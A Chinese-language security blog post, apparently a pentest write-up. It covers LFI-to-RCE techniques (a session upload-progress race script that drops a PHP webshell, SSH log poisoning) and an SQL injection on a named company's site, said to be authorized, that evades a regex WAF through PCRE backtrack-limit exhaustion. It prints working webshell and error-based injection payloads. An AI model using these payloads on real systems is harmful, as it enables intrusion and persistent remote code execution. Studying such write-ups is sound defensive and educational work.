Skip to content
Kurisu
Go back

针对真实目标的 SQL 注入:打崩 WAF 正则

翻出今年 1 月的实战记录《CQZSZY SQL 注入与 WAF 绕过实战记录》——第一次在真实授权目标上完整走通注入 + 绕过;系统版见注入深挖、绕过手册。

0x01 第五天:文件包含到 RCE 的脚本包

那套”文件包含相关脚本”覆盖 LFI→RCE 三条标准路线:

① session.upload_progress 竞态包含。PHP 默认开启的 upload_progress 把上传进度写进 session 文件,文件名参数可控;双线程竞态——一线程 POST 写入恶意 session,另一线程 GET 包含 sess_<sid>:

def t1(s):   # 写:PHP_SESSION_UPLOAD_PROGRESS 值 = <?php fputs(fopen('shell.php','w'),'<?php system($_REQUEST[11]);?>');?>
    s.post(url, data={'PHP_SESSION_UPLOAD_PROGRESS': payload}, files={'file': ('a.txt', f)}, cookies={'PHPSESSID': sessid})
def t2(s):   # 包含:?file=E:/phpstudy_pro/Extensions/tmp/tmp/sess_zyl
    s.get(url + f'?file=.../tmp/sess_{sessid}')

路径硬编码目标 web 根目录(Windows phpStudy 结构),竞态命中即落地持久 webshell。

② SSH 日志毒化。登录用户名被原样写进日志:写成 <?php system($_GET['c']);?> 再包含日志即 RCE,前提是日志路径可猜可读(Debian/Ubuntu /var/log/auth.log,CentOS /var/log/secure)。

③ 临时文件包含的平台差异。Windows 与 Linux 的 php5 临时文件包含行为不同(路径格式、大小写、长度上限),脚本已做双平台适配。

0x02 第六天:手工注入的知识框架

  1. 手工注入 MySQL 常见函数;2. 联合查询注入与报错注入;3. BP 配合联合查询实现注入;4. BP 真实爆破账号密码进一步入侵;5. 注入真实盲注。

心法:基础扎实才想得到绕过;遇问题先思考、别急着换工具;多看利用技巧——绕过的本质是知识量。

0x03 实战:重庆再生能源集团官网注入与正则回溯绕过

授权测试站点 order_sell.php,POST 参数 bs。

定位与确认

bs=1'          → SQL 语法错误回显(near '1768753587')')→ 确认注入点存在
bs=1' and ...  → WAF 拦截

摸清 WAF 的规则

绕过手法与结果(先画敌人的边界):

尝试结果
select/**/table_name/**/from 注释切分失败
SeLeCt TaBlE_NaMe FrOm 大小写混淆失败
selselectect 重叠混淆部分绕过但不稳定
规律:只要命中 select(.*)from 模式就拦截WAF 用的是贪婪正则

正则回溯:100 万个 a 的胜利

贪婪正则 select(.*)from 的死穴是回溯:.* 吞完全部字符找不到 from 就逐字符回退。PHP 的 pcre.backtrack_limit 默认 100 万——注释里填 100 万垃圾字符,回溯耗尽放弃检测,WAF 放行:

junk = "a" * 1000000
bs = f"""1' and updatexml(1,concat(0x7e,
    (select/*{junk}*/table_name from/*{junk}*/information_schema.tables limit 1),0x7e),1)
    and '1aaaaa'='1"""
# 响应:XPATH syntax error: '~CHARACTER_SETS~'  → 绕过成功

报错注入标准姿势:updatexml(1, concat(0x7e, 子查询), 1),非法 XPath 报错回显数据。GET 传不了 100 万字符,只能走 POST(dirsearch、AWVS、robots.txt、Google Hacking 全试过后死磕 POST 是对的)。

复盘

三个认知,后来都进了绕过手册:

  1. 绕过从”画边界”开始——先测 WAF 拦什么放什么,比盲目堆 payload 快十倍;
  2. 打引擎短板,不打规则本身——大小写/注释是规则层对抗,回溯是引擎层,对所有 PHP WAF 通用;
  3. 手工探路 + sqlmap -r 收尾效率最高,绕过成果可交给自动化。

相关旧文


Share this post:

Previous Post
无字母数字 RCE:16 字符限制下的命令执行
Next Post
PHP 8.4+ 绕过 disable_functions